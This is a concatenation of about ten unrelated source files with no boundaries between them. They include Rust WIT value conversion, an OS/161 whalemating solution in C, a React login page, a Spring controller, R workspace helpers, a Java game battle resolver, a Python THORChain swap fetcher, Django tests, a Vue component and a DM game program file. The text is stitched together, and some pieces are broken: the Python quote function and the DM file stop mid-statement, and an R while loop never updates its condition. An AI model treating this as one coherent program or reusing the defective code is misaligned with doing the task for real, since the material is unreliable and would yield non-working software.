builder.finish_seq(items, tuple_idx); tuple_idx } Value::Record(fields) => { let record_idx = builder.add_record(); let mut items = Vec::new(); for value in fields { let item_idx = build_wit_value(value, builder); items.push(item_idx); } builder.finish_seq(items, record_idx); record_idx } Value::Variant { case_idx, case_value: Some(case_value), } => { let variant_idx = builder.add_variant(case_idx, -1); let inner_idx = build_wit_value(*case_value, builder); builder.finish_child(inner_idx, variant_idx); variant_idx } Value::Variant { case_idx, case_value: None, } => builder.add_variant_unit(case_idx), Value::Enum(value) => builder.add_enum_value(value), Value::Flags(values) => builder.add_flags(values), Value::Option(value) => { if let Some(value) = value { let option_idx = builder.add_option_some(); let inner_idx = build_wit_value(*value, builder); builder.finish_child(inner_idx, option_idx); option_idx } else { builder.add_option_none() } } Value::Result(result) => match result { Ok(Some(ok)) => { let result_idx = builder.add_result_ok(); let inner_idx = build_wit_value(*ok, builder); builder.finish_child(inner_idx, result_idx); result_idx } Ok(None) => builder.add_result_ok_unit(), Err(Some(err)) => { let result_idx = builder.add_result_err(); let inner_idx = build_wit_value(*err, builder); builder.finish_child(inner_idx, result_idx); result_idx } Err(None) => builder.add_result_err_unit(), }, Value::Handle { uri, resource_id } => builder.add_handle(uri, resource_id), } } impl From<WitValue> for Value { fn from(value: WitValue) -> Self { assert!(!value.nodes.is_empty()); build_tree(&value.nodes[0], &value.nodes) } } fn build_tree(node: &WitNode, nodes: &[WitNode]) -> Value { match node { WitNode::RecordValue(field_indices) => { let mut fields = Vec::new(); for index in field_indices { let value = build_tree(&nodes[*index as usize], nodes); fields.push(value); } Value::Record(fields) } WitNode::VariantValue((case_idx, Some(inner_idx))) => { let value = build_tree(&nodes[*inner_idx as usize], nodes); Value::Variant { case_idx: *case_idx, case_value: Some(Box::new(value)), } } WitNode::VariantValue((case_idx, None)) => Value::Variant { case_idx: *case_idx, case_value: None, }, WitNode::EnumValue(value) => Value::Enum(*value), WitNode::FlagsValue(values) => Value::Flags(values.clone()), WitNode::TupleValue(indices) => { let mut values = Vec::new(); for index in indices { let value = build_tree(&nodes[*index as usize], nodes); values.push(value); } Value::Tuple(values) } WitNode::ListValue(indices) => { let mut values = Vec::new(); for index in indices { let value = build_tree(&nodes[*index as usize], nodes); values.push(value); } Value::List(values) } WitNode::OptionValue(Some(index)) => { let value = build_tree(&nodes[*index as usize], nodes); Value::Option(Some(Box::new(value))) } WitNode::OptionValue(None) => Value::Option(None), WitNode::ResultValue(Ok(Some(index))) => { let value = build_tree(&nodes[*index as usize], nodes); Value::Result(Ok(Some(Box::new(value)))) } WitNode::ResultValue(Ok(None)) => Value::Result(Ok(None)), WitNode::ResultValue(Err(Some(index))) => { let value = build_tree(&nodes[*index as usize], nodes); Value::Result(Err(Some(Box::new(value)))) } WitNode::ResultValue(Err(None)) => Value::Result(Err(None)), WitNode::PrimU8(value) => Value::U8(*value), WitNode::PrimU16(value) => Value::U16(*value), WitNode::PrimU32(value) => Value::U32(*value), WitNode::PrimU64(value) => Value::U64(*value), WitNode::PrimS8(value) => Value::S8(*value), WitNode::PrimS16(value) => Value::S16(*value), WitNode::PrimS32(value) => Value::S32(*value), WitNode::PrimS64(value) => Value::S64(*value), WitNode::PrimFloat32(value) => Value::F32(*value), WitNode::PrimFloat64(value) => Value::F64(*value), WitNode::PrimChar(value) => Value::Char(*value), WitNode::PrimBool(value) => Value::Bool(*value), WitNode::PrimString(value) => Value::String(value.clone()), WitNode::Handle((uri, value)) => Value::Handle { uri: uri.clone(), resource_id: *value, }, } } #[cfg(feature = "arbitrary")] impl<'a> arbitrary::Arbitrary<'a> for WitValue { fn arbitrary(u: &mut arbitrary::Unstructured<'a>) -> arbitrary::Result<Self> { let arbitrary_value = u.arbitrary::<Value>()?; Ok(arbitrary_value.into()) } } #[cfg(feature = "host")] pub const WASM_RPC_WIT: &str = include_str!("../wit/wasm-rpc.wit"); pub const WASM_RPC_VERSION: &str = env!("CARGO_PKG_VERSION"); #[cfg(test)] mod tests { use crate::{Value, WitValue}; use proptest::prelude::*; use proptest_arbitrary_interop::arb_sized; const CASES: u32 = 10000; const SIZE: usize = 4096; proptest! { #![proptest_config(ProptestConfig { cases: CASES, .. ProptestConfig::default() })] #[test] fn round_trip(value in arb_sized::<Value>(SIZE).prop_filter("Value must be equal to itself", |v| v.eq(v))) { let wit_value: WitValue = value.clone().into(); let round_trip_value: Value = wit_value.into(); prop_assert_eq!(value, round_trip_value); } } }
/* * Copyright (c) 2001, 2002, 2009 * The President and Fellows of Harvard College. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * 3. Neither the name of the University nor the names of its contributors * may be used to endorse or promote products derived from this software * without specific prior written permission. * * THIS SOFTWARE IS PROVIDED BY THE UNIVERSITY AND CONTRIBUTORS ``AS IS'' AND * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE UNIVERSITY OR CONTRIBUTORS BE LIABLE * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF * SUCH DAMAGE. */ /* * Driver code is in kern/tests/synchprobs.c We will * replace that file. This file is yours to modify as you see fit. * * You should implement your solution to the whalemating problem below. */ #include <types.h> #include <lib.h> #include <thread.h> #include <test.h> #include <synch.h> /* * Called by the driver during initialization. */ static uint32_t male_count; static struct lock *commonLock; static uint32_t female_count; static uint32_t matchmaker_count; static struct cv *cv_male; static struct cv *cv_female; static struct cv *cv_matchmaker; void whalemating_init() { commonLock = lock_create("commonLock"); cv_male = cv_create("male cv"); cv_female = cv_create("female cv"); cv_matchmaker = cv_create("matchmaker cv"); male_count = 0; female_count = 0; matchmaker_count = 0; return; } /* * Called by the driver during teardown. */ void whalemating_cleanup() { lock_destroy(commonLock); cv_destroy(cv_male); cv_destroy(cv_female); cv_destroy(cv_matchmaker); return; } void male(uint32_t index) { // (void)index; /* * Implement this function by calling male_start and male_end when * appropriate. */ male_start(index); lock_acquire(commonLock); male_count++; if(female_count > 0 && matchmaker_count > 0) { female_count--; matchmaker_count--; male_count--; cv_signal(cv_female,commonLock); cv_signal(cv_matchmaker,commonLock); } else { cv_wait(cv_male,commonLock); } male_end(index); lock_release(commonLock); return; } void female(uint32_t index) { // (void)index; /* * Implement this function by calling female_start and female_end when * appropriate. */ female_start(index); lock_acquire(commonLock); female_count++; if(male_count > 0 && matchmaker_count > 0) { male_count--; female_count--; matchmaker_count --; cv_signal(cv_male,commonLock); cv_signal(cv_matchmaker,commonLock); } else { cv_wait(cv_female,commonLock); } female_end(index); lock_release(commonLock); return; } void matchmaker(uint32_t index) { // (void)index; /* * Implement this function by calling matchmaker_start and matchmaker_end * when appropriate. */ matchmaker_start(index); lock_acquire(commonLock); matchmaker_count++; if(male_count > 0 && female_count > 0) { male_count--; female_count--; matchmaker_count--; cv_signal(cv_male,commonLock); cv_signal(cv_female,commonLock); } else { cv_wait(cv_matchmaker,commonLock); } matchmaker_end(index); lock_release(commonLock); return; }
import React, { useState } from "react"; import "../../assets/css/login.css"; import { Link, useNavigate } from "react-router-dom"; import axios from "axios"; const Login = () => { const navigate = useNavigate(); const [data, setData] = useState({ username: "", password: "", }); const handleLogin = async () => { try { const result = await axios.post( `${process.env.REACT_APP_BACKEND_URL_PORT}/api/auth/login`, data ); setData({ username: "", password: "", }); if (Object.values(result.data.data).length > 0) { localStorage.setItem("user_id", result.data.data._id); localStorage.setItem("username", result.data.data.username); localStorage.setItem("token", result.data.token); navigate("/"); } } catch (err) { console.log(err); } }; const onInputChange = (key, value) => { setData({ ...data, [key]: value, }); }; return ( <div className="container-login d-flex justify-content-center bg-success"> <div className="login-board bg-white"> <div> <h3 className="text-center mb-3">Login</h3> </div> <div className="mt-3"> <input onChange={(e) => onInputChange("username", e.target.value)} value={data.username} className="form-control" placeholder="Username" type="text" /> </div> <div className="mt-2"> <input onChange={(e) => onInputChange("password", e.target.value)} value={data.password} className="form-control" placeholder="Password" type="password" /> </div> <div className="mt-2"> <button onClick={handleLogin} className="btn bg-success text-white w-100" > Login </button> </div> <div className="mt-3"> <p> Do not have an account? <Link className="ml-2" to="/register"> Register </Link> </p> </div> </div> </div> ); }; export default Login;
package com.alura.foro.controller; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.data.domain.Page; import org.springframework.data.domain.Pageable; import org.springframework.data.web.PageableDefault; import org.springframework.http.ResponseEntity; import org.springframework.web.bind.annotation.DeleteMapping; import org.springframework.web.bind.annotation.GetMapping; import org.springframework.web.bind.annotation.PathVariable; import org.springframework.web.bind.annotation.PostMapping; import org.springframework.web.bind.annotation.PutMapping; import org.springframework.web.bind.annotation.RequestBody; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.ResponseBody; import org.springframework.web.bind.annotation.RestController; import org.springframework.web.util.UriComponentsBuilder; import com.alura.foro.course.Course; import com.alura.foro.course.CourseRegistrationData; import com.alura.foro.course.CourseRepository; import com.alura.foro.course.CoursesList; import com.alura.foro.course.DataResponseCourse; import com.alura.foro.course.UpdatingDataCourse; import io.swagger.v3.oas.annotations.Operation; import jakarta.transaction.Transactional; import jakarta.validation.Valid; @RestController @RequestMapping("/courses") public class CourseController { @Autowired private CourseRepository courseRepository; //Resgitrar 1 curso @PostMapping @Operation(summary = "Genera un nuevo curso en nuestra base de datos", description = "Con la información proporcionada, Nombre de curso y su Categoria, crea un nuevo curso en nuestra base de datos ", tags = "Course Controller") public ResponseEntity<DataResponseCourse> registerCourse(@RequestBody @Valid CourseRegistrationData courseRegistrationData,UriComponentsBuilder uriComponentsBuilder) { var course = new Course(courseRegistrationData); courseRepository.save(course); var url = uriComponentsBuilder.path("/courses/{id}").buildAndExpand(course.getId()).toUri(); return ResponseEntity.created(url).body(new DataResponseCourse(course.getId(), course.getNombre(), course.getCategoria())); } //Obtener todos los cursos en listas de 5 en 5 @GetMapping @Transactional @ResponseBody @Operation(summary = "Lista los cursos disponibles en nuestra base de datos", description = "Lista todos los cursos disponibles registrados en nuestra base de datos", tags = "Course Controller") public ResponseEntity<Page<CoursesList>> courseList(@PageableDefault(size = 5) Pageable paginacion){ //return courseRepository.findAll(paginacion).map(CoursesList::new); return ResponseEntity.ok(courseRepository.findByActivoTrue(paginacion).map(CoursesList::new)); } //Obtener un curso individual @GetMapping("/{id}") @Transactional @Operation(summary = "Genera un curso con todos sus elementos", description = "Muestra el curso que coincida en nuestra base de datos con el ID proporcionada por la URL", tags = "Course Controlller") public ResponseEntity<DataResponseCourse> getOneCourse(@PathVariable Long id) { Course course = courseRepository.getReferenceById(id); return ResponseEntity.ok(new DataResponseCourse(course.getId(), course.getNombre(), course.getCategoria())); } //Actualizar Curso @PutMapping @Transactional @Operation(summary = "Actualiza un curso", description = "Con la información dada, actualiza un curso que coincida con la ID dada", tags = "Course Controller") public ResponseEntity<DataResponseCourse> updateCourse(@RequestBody @Valid UpdatingDataCourse updattingDataCourse) { Course course = courseRepository.getReferenceById(updattingDataCourse.id()); course.updateCourse(updattingDataCourse); return ResponseEntity.ok(new DataResponseCourse(course.getId(),course.getNombre(), course.getCategoria())); } //Eliminar datos @DeleteMapping("/{id}") @Transactional @Operation(summary = "Desactiva un curso de nuestra base de datos", description = "Desactiva el curso que coincida con el ID proporcinada por la URL", tags = "Course Controller") public ResponseEntity<?> deleteCourse(@PathVariable Long id) { Course course = courseRepository.getReferenceById(id); course.desactivateCourse(); return ResponseEntity.noContent().build(); } }
# Colorful symbols green_check <- "\033[32mv\033[39m" red_todo <- "\033[31m*\033[39m" red_x <- "\033[31mx\033[39m" # Common regex pattern last_hypen_pattern <- "-(?![^-]*-)" # Create file names generate_file_name <- function(note = "", .dir = "_workspace") { file_name_init <- gsub( x = as.character(Sys.time()), pattern = " |:", replacement = "-", perl = TRUE ) file_name <- paste0(.dir, "/ws-", file_name_init, "_", note, ".qs") return(file_name) } map <- function(.x, .f, ...) { lapply(.x, .f, ...) } map_mold <- function(.x, .f, .mold, ...) { out <- vapply(.x, .f, .mold, ..., USE.NAMES = FALSE) names(out) <- names(.x) out } map_chr <- function(.x, .f, ...) { map_mold(.x, .f, character(1), ...) } # Custom printing cat2 <- function(..., symbol = "") { cat( symbol, " ", ..., "\n", sep = "" ) } # Check and update ignore files ignore_check <- function(file_name) { # Check if .gitignore exists if (file.exists(file_name)) { # Read the .gitignore file ignore_content <- readLines(file_name) # Remove trailing empty lines v_check_1 <- length(ignore_content) > 0 v_check_2 <- ignore_content[length(ignore_content)] == "" while (v_check_1 && v_check_2) { ignore_content <- ignore_content[-length(ignore_content)] } # Check if _workspace is already in .gitignore if (!any(grepl("\\_workspace", ignore_content))) { # Append '_workspace' to the ignore_content ignore_content <- c(ignore_content, "_workspace") # Write the updated content back to the .gitignore file writeLines(ignore_content, file_name) cat2( "'_workspace' added to '", file_name, "'", symbol = green_check ) } } return(invisible()) } # Asserts assert_interactive <- function(is_interactive) { if (!is_interactive) { stop("Restore cancelled. This function should only be ran interactively.") } } # Display file name meta_cleaner <- function(file_meta) { # Replace the last two hyphens with colons clean_meta <- sub(last_hypen_pattern, ":", file_meta[1], perl = TRUE) clean_meta <- sub(last_hypen_pattern, ":", clean_meta, perl = TRUE) # Replace the last hyphen with a space clean_meta <- sub(last_hypen_pattern, " ", clean_meta, perl = TRUE) # Put the string back together # Show the note if it exists final_string <- paste0( clean_meta, ifelse(length(file_meta[-1]) > 0, " | ", ""), paste0(file_meta[-1], collapse = "_") ) return(final_string) } display_file_name <- function(file_path) { # Remove the prefix and suffix files_display <- gsub("^_workspace\\/ws-", "", file_path) files_display <- gsub("\\.qs$", "", files_display) # meta data file_meta <- strsplit(files_display, "_", fixed = TRUE)[[1]] final_string <- meta_cleaner(file_meta) return(final_string) }
package edu.duke.ece651.team14.shared; import java.util.ArrayList; public class BattleField { private final CombatResolver resolver; private final Territory location; private String result; private Map map; /** * An Army identifies a player with all of its Units which are ready to fight. */ private class Army { public final Player player; public final ArrayList<Unit> units; public Army(Player player, ArrayList<Unit> units) { this.player = player; this.units = units; } public Army(Player player) { this.player = player; this.units = new ArrayList<Unit>(); } /** * Add another list of units to the army * * @param newUnits */ public void addUnits(ArrayList<Unit> newUnits) { this.units.addAll(newUnits); } /** * Return true if no units remains in this army. * * @return */ public boolean isDefeated() { return units.size() == 0; } /** * Precondition: isDefeated() return false; * * @return return the unit to fight, */ public Unit getUnitToFight() { return units.get(units.size() - 1);// error when unit size is 0;must satisfy precondition } /** * Precondition: the unit is dead. * Remove the unit if it dies in the fight */ public void removeDeadUnit() { units.remove(units.size() - 1); } /** * Sort the unit by ascending order of level */ public void ascSort() { units.sort((u0, u1) -> u0.getTechLevel() - u1.getTechLevel()); } /** * Sort the unit by descending order of level. */ public void descSort() { units.sort((u0, u1) -> u1.getTechLevel() - u0.getTechLevel()); } } private ArrayList<Army> combatList; public BattleField(CombatResolver resolver, Territory location, Map map) { this.resolver = resolver; this.location = location; this.combatList = new ArrayList<Army>(); this.result = "On Territory " + this.location + ": \n"; this.map = map; addDefenderArmy(); } /** * Precondition: all move orders corresponding to this territory have taken * effect. */ protected void addDefenderArmy() { Army defenderArmy = new Army(location.getOwner(), location.getUnits()); combatList.add(defenderArmy); } /** * Postcondition: new units according to the attack order will be created, and * are * put in the battlefield. These units are not belong to any territories yet. * * @param atkOrder */ public void addAttackerArmy(AttackOrder atkOrder) { Player attacker = this.map.getPlayerByName(atkOrder.getPlayer().getName()); Army attackerArmy = getArmy(attacker); if (attackerArmy == null) { attackerArmy = new Army(attacker); transferUnits(attackerArmy, atkOrder);// move units from attacker's territory to battle field combatList.add(attackerArmy); } else { transferUnits(attackerArmy, atkOrder); } } /** * Transfer units from territory to the battle field. */ private void transferUnits(Army attackerArmy, AttackOrder atkOrder) { Territory attack_origin = map.getTerritoryByName(atkOrder.getOrigin().getName()); ArrayList<Unit> units = attack_origin.getUnits(); ArrayList<Unit> temp = new ArrayList<>(); UnitMover.moveUnitsByOwner(units, temp, atkOrder.getNumUnits(), attack_origin.getOwner()); attackerArmy.addUnits(temp); } /** * Resolve the combat, the army with index i is defender, and (i+i)%N is * attacker. * Note attacker and defender switches roles */ public void resolve() { this.result += recordBattleInfo(); while (!hasWinner()) { for (int i = 0; i < combatList.size(); i++) { int another_index = (i + 1) % combatList.size(); Army defender = combatList.get(i); Army attacker = combatList.get(another_index); defender.descSort();// defender has last unit with lowest bonus to fight attacker.ascSort();// attacker has last unit with highest bonus to fight resolveOneFight(defender, attacker); if (hasWinner()) { break; } } } conquer(); } /** * Return detail information about the battle. */ protected String recordBattleInfo() { StringBuilder sb = new StringBuilder(); for (int i = 0; i < combatList.size(); i++) { Player p = combatList.get(i).player; String army_info = getArmyName(p); int numUnits = combatList.get(i).units.size(); String action = ""; if (i == 0) { action = "defends"; } else { action = "attacks"; } sb.append(army_info + action + " with " + numUnits + " units\n"); } return sb.toString(); } protected String getArmyName(Player p) { String army_info = ""; if (p.isNotAllied()) { army_info = "The " + p + " player "; } else { army_info = "Alliance of " + p + " and " + p.allies.get(0) + " "; } return army_info; } /** * Have one unit from the defender and one unit from the attacker army fight. * * @param defender * @param attacker */ protected void resolveOneFight(Army defender, Army attacker) { if (attacker.isDefeated()) { combatList.remove(attacker); } else if (defender.isDefeated()) { combatList.remove(defender); } else {// both has left unit to fight Unit defenderUnit = defender.getUnitToFight(); Unit attackerUnit = attacker.getUnitToFight(); boolean defenderWins = resolver.getCombatResult(defenderUnit, attackerUnit); if (defenderWins) { attackerUnit.tryToKill();// defender wins and the attacker's unit dies attacker.removeDeadUnit(); if (attacker.isDefeated()) { combatList.remove(attacker); } } else {// defender Loses defenderUnit.tryToKill();// attacker wins and the defender's unit dies defender.removeDeadUnit(); if (defender.isDefeated()) { combatList.remove(defender); } } } } /** * Return true if in the combatList there is only one army left. * * @return */ protected boolean hasWinner() { return combatList.size() == 1; } /** * Combat resolved, one army left, conquer the territory. */ protected void conquer() { Player winner = combatList.get(0).player; String armyName = getArmyName(winner); if (!this.location.getOwner().equals(winner)) {// the ownership of this territory changed if (!winner.isNotAllied()) { Player ally = winner.allies.get(0); int winner_units = 0; int ally_units = 0; for (Unit u : combatList.get(0).units) { if(u.getOwner().equals(winner)){ winner_units++; }else{ ally_units++; } } winner = winner_units>=ally_units?winner:ally; } this.location.setOwner(winner); this.location.addUnits(combatList.get(0).units); this.result += armyName + "conquers Territory " + this.location.getName() + "!"; } // else : no need to set owner, and the units remains there else { this.result += armyName + "defends Territory " + this.location.getName() + " successfully!"; } } /** * Returns the combat result. */ public String getResult() { return this.result; } /** * Return the army if the player's army are already in this battle field * Return null if the player's army does not exist. * * @param player * @return */ protected Army getArmy(Player player) { for (Army a : combatList) { if (a.player == player || a.player.isAlliedWith(player)) { return a; } } return null; } /** * Return the number of armies in the battle field. * * @return */ public int getNumArmies() { return combatList.size(); } /** * Return the units number of the army. * * @param player * @return */ public int getArmyUnitsNum(Player player) { for (Army a : combatList) { if (a.player == player) { return a.units.size(); } } return -1; } }
from typing import List from services.jobs.fetch.base import BaseFetcher from services.lib.constants import Chains, float_to_thor, thor_to_float, THOR_BLOCK_TIME, THOR_BASIS_POINT_MAX from services.lib.date_utils import parse_timespan_to_seconds from services.lib.depcont import DepContainer from services.lib.money import Asset, AssetRUNE from services.lib.utils import WithLogger from services.models.s_swap import StreamingSwap class StreamingSwapFechter(BaseFetcher, WithLogger): PATH = '/thorchain/swaps/streaming' def __init__(self, deps: DepContainer): sleep_period = parse_timespan_to_seconds(deps.cfg.streaming_swaps.fetch_period) super().__init__(deps, sleep_period) async def fetch(self) -> List[StreamingSwap]: # I've got to dig in the guts because aiothornode treats null response as a fail and retries client = self.deps.thor_connector._clients[0] # Get the primary client resp = await client.request(self.PATH) if not isinstance(resp, list): return [] swaps = [StreamingSwap.from_json(ss) for ss in resp] # Load models return swaps class StreamingSwapQuote(WithLogger): def __init__(self, deps: DepContainer): super().__init__() self.deps = deps self.mock_addresses = { Chains.BTC: 'bc1qdvxpt06ulfk5gm5p52wa4mrt6e887wkmvc4xxw', Chains.ETH: '0x4E71F9debEC9117F1FACc7eeB490758AF45806A7', Chains.BNB: 'bnb1d8qn6p6vr6mjl2yf6x3xsen9z33jyhkt5tnlkp', Chains.BCH: 'pqvm5jv4zhy38dkzrx0md73c3sujhkmg4yhlmhhmfm', Chains.LTC: 'ltc1qzvcgmntglcuv4smv3lzj6k8szcvsrmvk0phrr9wfq8w493r096ssm2fgsw', Chains.AVAX: '0x66153cf0e164bc9bdae88fb36fc5b92dc63a79d6', Chains.BSC: '0x66153cf0e164bc9bdae88fb36fc5b92dc63a79d6', Chains.ATOM: 'cosmos1rdly788mpmwvemd5yr8wu0499zs4v4qnaptum4', Chains.DOGE: 'DLmW4rFuPqR3cUyqJiBqjho2CtHMC12bFt', } self.rune = AssetRUNE async def fetch_quotes(self, amount: float, from_asset: str, to_asset: str): if from_asset == to_asset: raise ValueError('From-asset and to-asset must be different.') from_asset = Asset.from_string(from_asset) to_asset = Asset.from_string(to_asset) destination_address = self.mock_addresses[from_asset.chain] amount_to_send = float_to_thor(amount) price_holder = self.deps.price_holder in_pool = price_holder.find_pool(from_asset) out_pool = price_holder.find_pool(to_asset) if from_asset == AssetRUNE: asset_in_price_usd = price_holder.usd_per_rune else: asset_in_price_usd = in_pool.usd_per_asset if to_asset == AssetRUNE: asset_out_price_usd = price_holder.usd_per_rune else: asset_out_price_usd = out_pool.usd_per_asset estimated_value_usd = amount * asset_in_price_usd result = await self.deps.thor_connector.query_raw( f'thorchain/quote/swap' f'?amount={amount_to_send}' f'&from_asset={from_asset!s}' f'&to_asset={to_asset!s}' f'&destination={destination_address}' ) if err := result.get('error'): raise Exception(f'Error: "{err}"') expected_amount_out = thor_to_float(result.expected_amount_out) expected_amount_out_usd = expected_amount_out * asset_out_price_usd inbound_confirmation_seconds = result.get('inbound_confirmation_seconds', 0) outbound_delay_seconds = int(result["outbound_delay_blocks"]) * THOR_BLOCK_TIME estimated_swap_time = inbound_confirmation_seconds + outbound_delay_seconds slippage_bps = int(result['slippage_bps']) asset_depth = thor_to_float(in_pool.balance_asset) two_bps_depth = 2 / THOR_BASIS_POINT_MAX * asset_depth full_swaps, reminder_swap = divmod(asset_depth, two_bps_depth) full_swaps = int(full_swaps)
from django.test import TestCase from django.contrib.auth import get_user_model class ModelTests(TestCase): def test_create_user_with_email_successful(self): """ Test creating a new user with an email is successful """ email = "test@test.com" password = 'TheAdministrator1' user = get_user_model().objects.create_user( email=email, password=password, ) self.assertEqual(user.email, email) self.assertTrue(user.check_password(password)) def test_new_user_email_normalised(self): """ Test the email for a new user is normalised """ email = "test90@TEST.com" password = 'TheAdministrator1' user = get_user_model().objects.create_user( email=email, password=password, ) self.assertEqual(user.email, email.lower()) def test_new_user_invalid_email(self): """ Test creating user with no email raises error """ password = 'TheAdministrator1' with self.assertRaises(ValueError): get_user_model().objects.create_user( email=None, password=password, ) def test_super_user_is_created_with_correct_settings(self): """ Test creating a new super user""" user = get_user_model().objects.create_superuser( email="test123@test.com", password="test123", ) self.assertTrue(user.is_superuser) self.assertTrue(user.is_staff)
<template> <div class="operate-container"> <el-form :model="fromValiData" label-width="80" inline class="list-form" ref="fromValiData"> <el-form-item> <el-button type="primary" :size="$layer_Size.buttonSize" class="default-btn" icon="el-icon-plus" @click="handleAdd()">添加</el-button> <el-button type="danger" :size="$layer_Size.buttonSize" class="default-btn" icon="el-icon-delete" @click="handleBatchDel()">批量删除</el-button> </el-form-item> </el-form> <tableItem :obj="this" :tableData="tableData" :tableHeader="tableHeader" :button="button" :loading="loading" customHeight="100%" :isPage="false"></tableItem> </div> </template> <script> import userAdd from './user_add.vue' import {getCustQueryContacts, getCustDelContacts} from '../../../api/contract/customer.js' export default { props: { params: Object, layerid: '' }, components: { }, data () { return { loading: false, fromValiData: { }, tableData: [ ], tableHeader: [{ prop: 'name', label: '联系人姓名' }, { prop: 'position', label: '职务' }, { prop: 'mobile', label: '手机号' }, { prop: 'email', label: '邮箱' }], button: { width: 250, buttonList: [ {name: '编辑', type: 'primary', click: 'handleEdit'}, {name: '删除', type: 'danger', click: 'handleDelete'} ] }, multipleSelection: [] } }, methods: { getListData () { this.loading = true this.fromValiData.custId = this.params.id getCustQueryContacts(this.fromValiData).then(res => { this.tableData = res.result this.loading = false }).catch(err => { this.$message.error(err.message) this.loading = false }) }, handleAdd () { this.$layer.iframe({ content: { content: userAdd, // 传递的组件对象 parent: this, // 当前的vue对象 data: { id: this.params.id }// props }, area: this.$layer_Size.Normal, title: '添加', maxmin: true, shadeClose: false }) }, handleEdit (params) { this.$layer.iframe({ content: { content: userAdd, // 传递的组件对象 parent: this, // 当前的vue对象 data: { params: params }// props }, area: this.$layer_Size.Normal, title: '新增联系人', maxmin: true, shadeClose: false }) }, handleDelete (row) { let that = this this.$share.confirm({ confirm: function () { getCustDelContacts({ids: row.id}).then(res => { that.$message({ type: 'success', message: '删除成功' }) that.getListData() }) } }) }, handleBatchDel () { if (this.multipleSelection.length === 0) { this.$share.message('请先勾选要删除的列表数据', 'warning') return } let ids = {id: ''} this.multipleSelection.forEach(xdd => { ids.id += xdd.id + ',' }) ids.id = ids.id.substring(0, ids.id.length - 1) this.handleDelete(ids) } }, mounted () { this.getListData() }, created () { } } </script> <style scoped lang="scss"> </style>
// /program/ files are executable programs that do things. /datum/computer_file/program filetype = "PRG" filename = "UnknownProgram" // File name. FILE NAME MUST BE UNIQUE IF YOU WANT THE PROGRAM TO BE DOWNLOADABLE FROM NTNET! filedesc = "Unknown Program" // User-friendly name of this program. var/program_type = PROGRAM_NORMAL // Program type, used to determine if program runs in background or not. var/required_access_run // List of required accesses to run the program. var/required_access_download // List of required accesses to download the program. var/requires_access_to_run = PROGRAM_ACCESS_ONE // Whether the program checks for required_access when run. (1 = requires single access, 2 = requires single access from list, 3 = requires all access from list) var/requires_access_to_download = PROGRAM_ACCESS_ONE // Whether the program checks for required_access when downloading. (1 = requires single access, 2 = requires single access from list, 3 = requires all access from list) var/datum/nano_module/NM // If the program uses NanoModule, put it here and it will be automagically opened. Otherwise implement ui_interact. var/nanomodule_path // Path to nanomodule, make sure to set this if implementing new program. var/program_state = PROGRAM_STATE_KILLED // PROGRAM_STATE_KILLED or PROGRAM_STATE_BACKGROUND or PROGRAM_STATE_ACTIVE - specifies whether this program is running. var/obj/item/modular_computer/computer // Device that runs this program. var/extended_desc = "N/A" // Short description of this program's function. var/program_icon_state // Program-specific screen icon state var/requires_ntnet = FALSE // Set to TRUE for program to require nonstop NTNet connection to run. If NTNet connection is lost program crashes. var/requires_ntnet_feature = FALSE // Optional, if above is set to TRUE checks for specific function of NTNet (currently NTNET_SOFTWAREDOWNLOAD, NTNET_PEERTOPEER, NTNET_SYSTEMCONTROL and NTNET_COMMUNICATION) var/ntnet_status = TRUE // NTNet status, updated every tick by computer running this program. Don't use this for checks if NTNet works, computers do that. Use this for calculations, etc. var/usage_flags = PROGRAM_ALL // Bitflags (PROGRAM_CONSOLE, PROGRAM_LAPTOP, PROGRAM_TABLET combination) or PROGRAM_ALL var/network_destination // Optional string that describes what NTNet server/system this program connects to. Used in default logging. var/available_on_ntnet = TRUE // Whether the program can be downloaded from NTNet. Set to 0 to disable. var/available_on_syndinet = FALSE // Whether the program can be downloaded from SyndiNet (accessible via emagging the computer). Set to 1 to enable. var/computer_emagged = FALSE // Set to TRUE if computer that's running us was emagged. Computer updates this every Process() tick var/ui_header // Example: "something.gif" - a header image that will be rendered in computer's UI when this program is running at background. Images are taken from /nano/images/status_icons. Be careful not to use too large images! var/color = "#FFFFFF" // The color of light the computer should emit when this program is open. var/service_state = PROGRAM_STATE_DISABLED // PROGRAM_STATE_KILLED or PROGRAM_STATE_ACTIVE - specifies whether this program's service is running. var/silent = FALSE /datum/computer_file/program/New(var/obj/item/modular_computer/comp) ..() if(comp) if(comp == "Compless") // we're software in the air, don't need a computer return else if(istype(comp)) computer = comp else crash_with("Comp was of the wrong type for [src.filename]") else crash_with("Comp was not sent for [src.filename]") /datum/computer_file/program/Destroy() computer.idle_threads -= src computer.enabled_services -= src computer = null . = ..() /datum/computer_file/program/ui_host() return computer.ui_host() /datum/computer_file/program/clone(var/rename = FALSE, var/computer) var/datum/computer_file/program/temp = ..(rename, computer) temp.required_access_run = required_access_run temp.required_access_download = required_access_download temp.nanomodule_path = nanomodule_path temp.filedesc = filedesc temp.program_icon_state = program_icon_state temp.requires_ntnet = requires_ntnet temp.requires_ntnet_feature = requires_ntnet_feature temp.usage_flags = usage_flags return temp // Relays icon update to the computer. /datum/computer_file/program/proc/update_computer_icon() if(computer) computer.update_icon() // Attempts to create a log in global ntnet datum. Returns 1 on success, 0 on fail. /datum/computer_file/program/proc/generate_network_log(var/text) if(computer) return computer.add_log(text) return FALSE /datum/computer_file/program/proc/is_supported_by_hardware(var/hardware_flag = 0, var/loud = FALSE, var/mob/user = null) if(!(hardware_flag & 